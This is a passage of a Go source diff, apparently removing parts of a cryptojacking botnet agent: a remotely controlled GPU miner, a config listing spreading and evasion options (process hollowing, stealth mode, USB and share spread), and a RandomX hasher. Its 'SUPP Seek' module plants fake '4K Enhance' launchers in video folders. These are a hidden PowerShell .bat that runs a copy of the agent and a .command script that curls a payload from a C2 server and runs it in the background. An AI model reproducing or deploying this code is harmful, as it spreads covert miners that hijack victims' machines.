}()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stop shuts down the GPU miner and waits for it to exit.
|
|
||||||
func (g *GPUMiner) Stop() {
|
|
||||||
// Resume first so the run loop is not blocked on pauseCh when stop fires.
|
|
||||||
g.Resume()
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
default:
|
|
||||||
close(g.stopCh)
|
|
||||||
}
|
|
||||||
g.wg.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Pause suspends KawPoW polling and kills the running miner subprocess until
|
|
||||||
// Resume is called. Safe to call multiple times.
|
|
||||||
func (g *GPUMiner) Pause() {
|
|
||||||
g.pauseMu.Lock()
|
|
||||||
defer g.pauseMu.Unlock()
|
|
||||||
g.mu.Lock()
|
|
||||||
already := g.paused
|
|
||||||
if !already {
|
|
||||||
g.paused = true
|
|
||||||
// Kill the running process so it stops consuming GPU.
|
|
||||||
if g.proc != nil {
|
|
||||||
_ = g.proc.Kill()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
g.mu.Unlock()
|
|
||||||
if !already {
|
|
||||||
// Signal the run loop to enter the paused wait.
|
|
||||||
select {
|
|
||||||
case <-g.pauseCh:
|
|
||||||
default:
|
|
||||||
close(g.pauseCh)
|
|
||||||
}
|
|
||||||
log.Printf("[gpu] miner paused by remote command")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused.
|
|
||||||
func (g *GPUMiner) Resume() {
|
|
||||||
g.pauseMu.Lock()
|
|
||||||
defer g.pauseMu.Unlock()
|
|
||||||
g.mu.Lock()
|
|
||||||
wasPaused := g.paused
|
|
||||||
g.paused = false
|
|
||||||
g.mu.Unlock()
|
|
||||||
if wasPaused {
|
|
||||||
// Unblock the run loop waiting on resumeCh, then reset both channels.
|
|
||||||
select {
|
|
||||||
case <-g.resumeCh:
|
|
||||||
default:
|
|
||||||
close(g.resumeCh)
|
|
||||||
}
|
|
||||||
g.pauseCh = make(chan struct{})
|
|
||||||
g.resumeCh = make(chan struct{})
|
|
||||||
log.Printf("[gpu] miner resumed by remote command")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// waitIfPaused blocks the run loop while paused, returning false if stop fires.
|
|
||||||
func (g *GPUMiner) waitIfPaused() bool {
|
|
||||||
g.pauseMu.Lock()
|
|
||||||
pauseCh := g.pauseCh
|
|
||||||
resumeCh := g.resumeCh
|
|
||||||
g.pauseMu.Unlock()
|
|
||||||
|
|
||||||
select {
|
|
||||||
case <-pauseCh:
|
|
||||||
// Paused — wait for resume or stop.
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
return false
|
|
||||||
case <-resumeCh:
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
default:
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stats returns the latest GPU mining statistics.
|
|
||||||
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
|
|
||||||
g.mu.RLock()
|
|
||||||
defer g.mu.RUnlock()
|
|
||||||
return g.stats, g.active
|
|
||||||
}
|
|
||||||
|
|
||||||
// GPUModel returns the detected GPU model string.
|
|
||||||
func (g *GPUMiner) GPUModel() string {
|
|
||||||
return g.info.Model
|
|
||||||
}
|
|
||||||
|
|
||||||
// buildPoolList returns the primary pool followed by any configured backups.
|
|
||||||
func (g *GPUMiner) buildPoolList() []rvnEndpoint {
|
|
||||||
eps := []rvnEndpoint{{
|
|
||||||
host: g.cfg.RVNPoolHost,
|
|
||||||
port: g.cfg.RVNPoolPort,
|
|
||||||
tls: g.cfg.RVNPoolTLS,
|
|
||||||
pass: g.cfg.RVNPoolPass,
|
|
||||||
}}
|
|
||||||
for _, bp := range g.cfg.RVNBackupPools {
|
|
||||||
if bp.Host != "" && bp.Port > 0 {
|
|
||||||
eps = append(eps, rvnEndpoint{
|
|
||||||
host: bp.Host,
|
|
||||||
port: bp.Port,
|
|
||||||
tls: bp.TLS,
|
|
||||||
pass: bp.Pass,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return eps
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *GPUMiner) run() {
|
|
||||||
binPath, err := g.ensureMinerBinary()
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("[gpu] could not obtain miner binary: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
pools := g.buildPoolList()
|
|
||||||
poolIdx := 0
|
|
||||||
const retryDelay = 30 * time.Second
|
|
||||||
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
return
|
|
||||||
default:
|
|
||||||
}
|
|
||||||
|
|
||||||
if !g.waitIfPaused() {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
ep := pools[poolIdx%len(pools)]
|
|
||||||
proc, err := g.startProcessOnPool(binPath, ep)
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("[gpu] failed to start miner: %v — retry in %s (pool %d/%d)", err, retryDelay, poolIdx%len(pools)+1, len(pools))
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
return
|
|
||||||
case <-time.After(retryDelay):
|
|
||||||
}
|
|
||||||
poolIdx++
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
g.mu.Lock()
|
|
||||||
g.active = true
|
|
||||||
g.proc = proc
|
|
||||||
g.mu.Unlock()
|
|
||||||
|
|
||||||
log.Printf("[gpu] %s started (pid=%d) → %s:%d", g.spec().fileName, proc.Pid, ep.host, ep.port)
|
|
||||||
|
|
||||||
// pollStop signals pollStats to exit; closed when this iteration ends.
|
|
||||||
pollStop := make(chan struct{})
|
|
||||||
pollDone := make(chan struct{})
|
|
||||||
go func() {
|
|
||||||
defer close(pollDone)
|
|
||||||
g.pollStats(pollStop)
|
|
||||||
}()
|
|
||||||
|
|
||||||
// Wait for process exit in a goroutine so we can also listen for stop.
|
|
||||||
waitDone := make(chan error, 1)
|
|
||||||
go func() {
|
|
||||||
_, werr := proc.Wait()
|
|
||||||
waitDone <- werr
|
|
||||||
}()
|
|
||||||
|
|
||||||
var stopRequested bool
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
// Agent shutting down — kill the miner process immediately.
|
|
||||||
stopRequested = true
|
|
||||||
_ = proc.Kill()
|
|
||||||
<-waitDone
|
|
||||||
case waitErr := <-waitDone:
|
|
||||||
if waitErr != nil {
|
|
||||||
log.Printf("[gpu] miner exited: %v — rotating to next pool", waitErr)
|
|
||||||
}
|
|
||||||
// Miner crashed or exited cleanly — rotate to next pool on retry.
|
|
||||||
poolIdx++
|
|
||||||
}
|
|
||||||
|
|
||||||
close(pollStop)
|
|
||||||
<-pollDone
|
|
||||||
|
|
||||||
g.mu.Lock()
|
|
||||||
g.active = false
|
|
||||||
g.proc = nil
|
|
||||||
g.mu.Unlock()
|
|
||||||
|
|
||||||
if stopRequested {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Wait before retrying, but exit cleanly if Stop() is called.
|
|
||||||
select {
|
|
||||||
case <-g.stopCh:
|
|
||||||
return
|
|
||||||
case <-time.After(retryDelay):
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// pollStats polls the miner's HTTP API until stop is closed.
|
|
||||||
func (g *GPUMiner) pollStats(stop <-chan struct{}) {
|
|
||||||
apiPort := g.apiPort()
|
|
||||||
ticker := time.NewTicker(10 * time.Second)
|
|
||||||
defer ticker.Stop()
|
|
||||||
|
|
||||||
samples := make([]float64, 0, 90) // 15 min at 10s intervals
|
|
||||||
|
|
||||||
for {
|
|
||||||
select {
|
|
||||||
case <-stop:
|
|
||||||
return
|
|
||||||
case <-ticker.C:
|
|
||||||
hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
|
|
||||||
if err != nil {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
samples = append(samples, hr)
|
|
||||||
if len(samples) > 90 {
|
|
||||||
samples = samples[len(samples)-90:]
|
|
||||||
}
|
|
||||||
|
|
||||||
g.mu.Lock()
|
|
||||||
g.stats = GPUMinerStats{
|
|
||||||
Hashrate15s: hr,
|
|
||||||
Hashrate1m: avg(samples, 6),
|
|
||||||
Hashrate15m: avg(samples, len(samples)),
|
|
||||||
GPUTempC: tempC,
|
|
||||||
GPUUsagePct: usage,
|
|
||||||
ActiveAlgo: "kawpow",
|
|
||||||
}
|
|
||||||
g.mu.Unlock()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func avg(samples []float64, last int) float64 {
|
|
||||||
if len(samples) == 0 || last <= 0 {
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
if last > len(samples) {
|
|
||||||
last = len(samples)
|
|
||||||
}
|
|
||||||
slice := samples[len(samples)-last:]
|
|
||||||
var sum float64
|
|
||||||
for _, v := range slice {
|
|
||||||
sum += v
|
|
||||||
}
|
|
||||||
return sum / float64(len(slice))
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *GPUMiner) apiPort() int {
|
|
||||||
switch g.info.Vendor {
|
|
||||||
case GPUVendorNVIDIA:
|
|
||||||
return 4067
|
|
||||||
case GPUVendorAMD:
|
|
||||||
return 4068
|
|
||||||
default:
|
|
||||||
return 4067
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// buildPoolURL constructs the stratum URL for a given pool endpoint.
|
|
||||||
func buildPoolURL(ep rvnEndpoint) string {
|
|
||||||
scheme := "stratum+tcp"
|
|
||||||
if ep.tls {
|
|
||||||
scheme = "stratum+ssl"
|
|
||||||
}
|
|
||||||
return fmt.Sprintf("%s://%s:%d", scheme, ep.host, ep.port)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ---- Miner binary management ----
|
|
||||||
|
|
||||||
type minerSpec struct {
|
|
||||||
fileName string
|
|
||||||
downloadURL string
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *GPUMiner) spec() minerSpec {
|
|
||||||
switch g.info.Vendor {
|
|
||||||
case GPUVendorNVIDIA:
|
|
||||||
return minerSpec{
|
|
||||||
fileName: "t-rex.exe",
|
|
||||||
downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip",
|
|
||||||
}
|
|
||||||
default: // AMD
|
|
||||||
return minerSpec{
|
|
||||||
fileName: "teamredminer.exe",
|
|
||||||
downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip",
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
|
||||||
spec := g.spec()
|
|
||||||
|
|
||||||
// 1. Check the agent's install directory first.
|
|
||||||
binPath := filepath.Join(g.installDir, spec.fileName)
|
|
||||||
if _, err := os.Stat(binPath); err == nil {
|
|
||||||
return binPath, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2. Check the directory that contains the running agent binary (side-by-side).
|
|
||||||
if exePath, err := os.Executable(); err == nil {
|
|
||||||
sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName)
|
|
||||||
if _, err := os.Stat(sideBySide); err == nil {
|
|
||||||
log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName)
|
|
||||||
return sideBySide, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 3. Fall back to downloading from GitHub.
|
|
||||||
log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)")
|
|
||||||
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
|
|
||||||
return "", fmt.Errorf("download failed: %w", err)
|
|
||||||
}
|
|
||||||
if _, err := os.Stat(binPath); err != nil {
|
|
||||||
return "", fmt.Errorf("binary not found after download: %s", binPath)
|
|
||||||
}
|
|
||||||
return binPath, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func downloadAndExtract(url, destDir, targetFile string) error {
|
|
||||||
client := &http.Client{Timeout: 5 * time.Minute}
|
|
||||||
resp, err := client.Get(url)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
if resp.StatusCode != http.StatusOK {
|
|
||||||
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
|
|
||||||
}
|
|
||||||
data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return extractZipFile(data, destDir, targetFile)
|
|
||||||
}
|
|
||||||
|
|
||||||
// ---- Miner HTTP API polling ----
|
|
||||||
|
|
||||||
// T-Rex summary response (subset we care about).
|
|
||||||
type trexSummary struct {
|
|
||||||
Hashrate int `json:"hashrate"`
|
|
||||||
GPUs []struct {
|
|
||||||
Temperature int `json:"temperature"`
|
|
||||||
GpuLoad int `json:"gpu_load"`
|
|
||||||
} `json:"gpus"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// TeamRedMiner status response (subset).
|
|
||||||
type trmStatus struct {
|
|
||||||
Algorithms []struct {
|
|
||||||
Name string `json:"algorithm"`
|
|
||||||
TotalMHs float64 `json:"mhsh_total"`
|
|
||||||
} `json:"algorithms"`
|
|
||||||
GPUs []struct {
|
|
||||||
TempC int `json:"temp_c"`
|
|
||||||
Fan int `json:"fan_pct"`
|
|
||||||
} `json:"gpus"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) {
|
|
||||||
url := fmt.Sprintf("http://127.0.0.1:%d/summary", port)
|
|
||||||
resp, e := http.Get(url) //nolint:noctx
|
|
||||||
if e != nil {
|
|
||||||
return 0, nil, nil, e
|
|
||||||
}
|
|
||||||
defer resp.Body.Close()
|
|
||||||
body, _ := io.ReadAll(resp.Body)
|
|
||||||
|
|
||||||
switch vendor {
|
|
||||||
case GPUVendorNVIDIA:
|
|
||||||
var s trexSummary
|
|
||||||
if e := json.Unmarshal(body, &s); e != nil {
|
|
||||||
return 0, nil, nil, e
|
|
||||||
}
|
|
||||||
hashrate = float64(s.Hashrate)
|
|
||||||
if len(s.GPUs) > 0 {
|
|
||||||
t := s.GPUs[0].Temperature
|
|
||||||
u := s.GPUs[0].GpuLoad
|
|
||||||
tempC = &t
|
|
||||||
usagePct = &u
|
|
||||||
}
|
|
||||||
case GPUVendorAMD:
|
|
||||||
var s trmStatus
|
|
||||||
if e := json.Unmarshal(body, &s); e != nil {
|
|
||||||
return 0, nil, nil, e
|
|
||||||
}
|
|
||||||
for _, a := range s.Algorithms {
|
|
||||||
if a.Name == "kawpow" || a.Name == "KawPoW" {
|
|
||||||
hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if len(s.GPUs) > 0 {
|
|
||||||
t := s.GPUs[0].TempC
|
|
||||||
u := s.GPUs[0].Fan
|
|
||||||
tempC = &t
|
|
||||||
usagePct = &u
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
|
|
||||||
type suppSeekOpts struct {
|
|
||||||
DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
|
|
||||||
DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
|
|
||||||
ServerURL string
|
|
||||||
// Name prefix used for the launcher files.
|
|
||||||
FileStem string // default: "4K Enhance"
|
|
||||||
}
|
|
||||||
|
|
||||||
type suppSeekResult struct {
|
|
||||||
Dirs int // directories visited
|
|
||||||
Seeded int // directories where files were placed
|
|
||||||
Skipped int // already seeded
|
|
||||||
Files int // total files placed
|
|
||||||
Errors int
|
|
||||||
FirstErr string
|
|
||||||
}
|
|
||||||
|
|
||||||
func (r suppSeekResult) Summary() string {
|
|
||||||
return fmt.Sprintf(
|
|
||||||
"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
|
|
||||||
r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediaExtensions is the set of file extensions that mark a directory as a
|
|
||||||
// target — if a directory contains any of these the launcher files are dropped.
|
|
||||||
var mediaExtensions = map[string]struct{}{
|
|
||||||
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
|
|
||||||
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
|
|
||||||
".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
|
|
||||||
}
|
|
||||||
|
|
||||||
func isMediaDir(dirPath string) bool {
|
|
||||||
entries, err := os.ReadDir(dirPath)
|
|
||||||
if err != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
for _, e := range entries {
|
|
||||||
if e.IsDir() {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
ext := strings.ToLower(filepath.Ext(e.Name()))
|
|
||||||
if _, ok := mediaExtensions[ext]; ok {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// batContent returns the content of the Windows .bat launcher.
|
|
||||||
// It launches the co-located VideoEnhancer.exe silently.
|
|
||||||
func batContent(stem string) string {
|
|
||||||
return "@echo off\r\n" +
|
|
||||||
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
|
|
||||||
"-Command \"& { " +
|
|
||||||
"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
|
|
||||||
"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
|
|
||||||
"}\"\r\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
// commandContent returns the content of the Mac/Linux .command shell script.
|
|
||||||
// Falls back to a C2 download if the server URL is known.
|
|
||||||
func commandContent(serverURL string) string {
|
|
||||||
dl := ""
|
|
||||||
if serverURL != "" {
|
|
||||||
dl = fmt.Sprintf(
|
|
||||||
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
|
||||||
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
|
||||||
serverURL,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
return "#!/bin/bash\n" +
|
|
||||||
"# Video Enhancement Service\n" +
|
|
||||||
dl +
|
|
||||||
"exit 0\n"
|
|
||||||
}
|
|
||||||
@@ -1,54 +0,0 @@
|
|||||||
//go:build !windows
|
|
||||||
|
|
||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
)
|
|
||||||
|
|
||||||
// suppSeekWalk seeds each media directory with Mac/Linux launchers.
|
|
||||||
// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped.
|
|
||||||
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
|
||||||
stem := opts.FileStem
|
|
||||||
if stem == "" {
|
|
||||||
stem = "4K Enhance"
|
|
||||||
}
|
|
||||||
|
|
||||||
res := suppSeekResult{}
|
|
||||||
|
|
||||||
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
|
||||||
if err != nil || !d.IsDir() {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
res.Dirs++
|
|
||||||
|
|
||||||
if !isMediaDir(path) {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
cmdPath := filepath.Join(path, stem+".command")
|
|
||||||
if _, err := os.Stat(cmdPath); err == nil {
|
|
||||||
res.Skipped++
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
placed := 0
|
|
||||||
if opts.DropMac || (!opts.DropWindows && !opts.DropMac) {
|
|
||||||
content := commandContent(opts.ServerURL)
|
|
||||||
if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil {
|
|
||||||
placed++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if placed > 0 {
|
|
||||||
res.Seeded++
|
|
||||||
res.Files += placed
|
|
||||||
} else {
|
|
||||||
res.Errors++
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
|
|
||||||
return res
|
|
||||||
}
|
|
||||||
@@ -1,99 +0,0 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package client
|
|
||||||
|
|
||||||
import (
|
|
||||||
"io"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
)
|
|
||||||
|
|
||||||
// suppSeekWalk walks rootPath recursively and seeds each media directory.
|
|
||||||
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
|
||||||
stem := opts.FileStem
|
|
||||||
if stem == "" {
|
|
||||||
stem = "4K Enhance"
|
|
||||||
}
|
|
||||||
|
|
||||||
res := suppSeekResult{}
|
|
||||||
|
|
||||||
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
|
||||||
if err != nil || !d.IsDir() {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
res.Dirs++
|
|
||||||
|
|
||||||
if !isMediaDir(path) {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check if already seeded (bat file exists).
|
|
||||||
batPath := filepath.Join(path, stem+".bat")
|
|
||||||
if _, err := os.Stat(batPath); err == nil {
|
|
||||||
res.Skipped++
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
placed := 0
|
|
||||||
|
|
||||||
if opts.DropWindows {
|
|
||||||
// 1. Copy the running binary as "4K Enhance.exe" (or stem).
|
|
||||||
self, err := os.Executable()
|
|
||||||
if err == nil {
|
|
||||||
dst := filepath.Join(path, stem+".exe")
|
|
||||||
if copyFile(self, dst) == nil {
|
|
||||||
placed++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 2. Drop the .bat launcher that runs the exe silently.
|
|
||||||
bat := batContent(stem)
|
|
||||||
if writeFile(batPath, []byte(bat)) == nil {
|
|
||||||
placed++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if opts.DropMac {
|
|
||||||
// Drop a .command shell script for Mac/Linux.
|
|
||||||
cmdPath := filepath.Join(path, stem+".command")
|
|
||||||
content := commandContent(opts.ServerURL)
|
|
||||||
if writeFile(cmdPath, []byte(content)) == nil {
|
|
||||||
// .command files need +x to auto-run on macOS.
|
|
||||||
_ = os.Chmod(cmdPath, 0755)
|
|
||||||
placed++
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if placed > 0 {
|
|
||||||
res.Seeded++
|
|
||||||
res.Files += placed
|
|
||||||
} else {
|
|
||||||
res.Errors++
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
|
|
||||||
return res
|
|
||||||
}
|
|
||||||
|
|
||||||
// copyFile copies src to dst, creating or overwriting dst.
|
|
||||||
func copyFile(src, dst string) error {
|
|
||||||
in, err := os.Open(src)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer in.Close()
|
|
||||||
|
|
||||||
out, err := os.Create(dst)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer out.Close()
|
|
||||||
|
|
||||||
_, err = io.Copy(out, in)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// writeFile writes data to path atomically enough for our use.
|
|
||||||
func writeFile(path string, data []byte) error {
|
|
||||||
return os.WriteFile(path, data, 0644)
|
|
||||||
}
|
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
package config
|
|
||||||
|
|
||||||
import "time"
|
|
||||||
|
|
||||||
func GetBuiltinConfig() BuiltinConfig {
|
|
||||||
return BuiltinConfig{
|
|
||||||
WorkerName: "dev-worker",
|
|
||||||
ServerURL: "http://127.0.0.1:8989",
|
|
||||||
Wallet: "",
|
|
||||||
Threads: 4,
|
|
||||||
ThreadMode: "percent",
|
|
||||||
ThreadPercent: 75,
|
|
||||||
CPUPriority: "below_normal",
|
|
||||||
MiningMode: "always",
|
|
||||||
MinerExecution: "inprocess",
|
|
||||||
DisplayMode: "visible",
|
|
||||||
SilentMode: false,
|
|
||||||
RunAs: "user",
|
|
||||||
AutoStart: false,
|
|
||||||
ProcessName: "CryptoMinerWorker",
|
|
||||||
BuildID: "dev",
|
|
||||||
BuiltAt: time.Now(),
|
|
||||||
PoolHost: "pool.supportxmr.com",
|
|
||||||
PoolPort: 3333,
|
|
||||||
PoolTLS: false,
|
|
||||||
PoolPass: "x",
|
|
||||||
MaxCPUUsage: 95,
|
|
||||||
MaxMemoryPct: 85,
|
|
||||||
MinFreeRAM: 512,
|
|
||||||
IdleThresholdPct: 20,
|
|
||||||
IdleDurationMinutes: 5,
|
|
||||||
ScheduleStart: "21:00",
|
|
||||||
ScheduleEnd: "06:00",
|
|
||||||
InstallBase: "localappdata",
|
|
||||||
InstallRelativePath: DefaultInstallRelativePath,
|
|
||||||
AdaptToHardware: true,
|
|
||||||
SelfHealing: true,
|
|
||||||
FileLogging: true,
|
|
||||||
StealthMode: false,
|
|
||||||
FirewallExclusion: true,
|
|
||||||
AIEnabled: false,
|
|
||||||
AIOllamaEndpoint: "http://localhost:11434",
|
|
||||||
AIModel: "llama3.2",
|
|
||||||
ProcessHollowing: false,
|
|
||||||
MeshP2P: false,
|
|
||||||
AutoSpread: false,
|
|
||||||
HolePunch: false,
|
|
||||||
RemoteAggressive: false,
|
|
||||||
USBSpread: false,
|
|
||||||
ShareSpread: false,
|
|
||||||
GPUEnabled: false,
|
|
||||||
RVNWallet: "",
|
|
||||||
RVNPoolHost: "rvn.2miners.com",
|
|
||||||
RVNPoolPort: 6060,
|
|
||||||
RVNPoolTLS: false,
|
|
||||||
RVNPoolPass: "x",
|
|
||||||
LotlOnionEnabled: false,
|
|
||||||
LotlPolicyFromServer: false,
|
|
||||||
DnsTxtSpread: true,
|
|
||||||
WebRTCMeshSpread: false,
|
|
||||||
WSUSCachePeerSpread: true,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,85 +0,0 @@
|
|||||||
package miner
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/hex"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"sync"
|
|
||||||
|
|
||||||
"git.gammaspectra.live/P2Pool/go-randomx"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
ErrEngineNotReady = errors.New("randomx VM not initialized")
|
|
||||||
ErrBlobTooShort = errors.New("blob shorter than nonce offset")
|
|
||||||
)
|
|
||||||
|
|
||||||
const nonceOffset = 39
|
|
||||||
const nonceSize = 4
|
|
||||||
|
|
||||||
// go-randomx is a pure-Go implementation; hardware flags are ignored internally.
|
|
||||||
const randomxFlags = 0
|
|
||||||
|
|
||||||
type Engine struct {
|
|
||||||
mu sync.RWMutex
|
|
||||||
cache *randomx.Randomx_Cache
|
|
||||||
vm *randomx.VM
|
|
||||||
seedHex string
|
|
||||||
blob []byte
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewEngine() *Engine {
|
|
||||||
cache := randomx.Randomx_alloc_cache(randomxFlags)
|
|
||||||
return &Engine{cache: cache}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (e *Engine) SetJob(seedHex, blobHex string) error {
|
|
||||||
seed, err := hex.DecodeString(seedHex)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
blob, err := hex.DecodeString(blobHex)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
e.mu.Lock()
|
|
||||||
defer e.mu.Unlock()
|
|
||||||
|
|
||||||
if e.seedHex != seedHex {
|
|
||||||
e.cache.Randomx_init_cache(seed)
|
|
||||||
// go-randomx requires SuperScalar programs to be built separately after
|
|
||||||
// seeding the cache; Randomx_init_cache only populates the Argon2d blocks.
|
|
||||||
// Without this step every CalculateHash call crashes with a nil-pointer.
|
|
||||||
gen := randomx.Init_Blake2Generator(seed, 0)
|
|
||||||
for i := range e.cache.Programs {
|
|
||||||
e.cache.Programs[i] = randomx.Build_SuperScalar_Program(gen)
|
|
||||||
}
|
|
||||||
e.vm = e.cache.VM_Initialize()
|
|
||||||
e.seedHex = seedHex
|
|
||||||
}
|
|
||||||
e.blob = append([]byte(nil), blob...)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) {
|
|
||||||
e.mu.RLock()
|
|
||||||
defer e.mu.RUnlock()
|
|
||||||
|
|
||||||
if e.vm == nil {
|
|
||||||
return "", "", ErrEngineNotReady
|
|
||||||
}
|
|
||||||
if len(e.blob) < nonceOffset+nonceSize {
|
|
||||||
return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob))
|
|
||||||
}
|
|
||||||
|
|
||||||
work := append([]byte(nil), e.blob...)
|
|
||||||
work[nonceOffset] = byte(nonce)
|
|
||||||
work[nonceOffset+1] = byte(nonce >> 8)
|
|
||||||
work[nonceOffset+2] = byte(nonce >> 16)
|
|
||||||
work[nonceOffset+3] = byte(nonce >> 24)
|
|
||||||
|
|
||||||
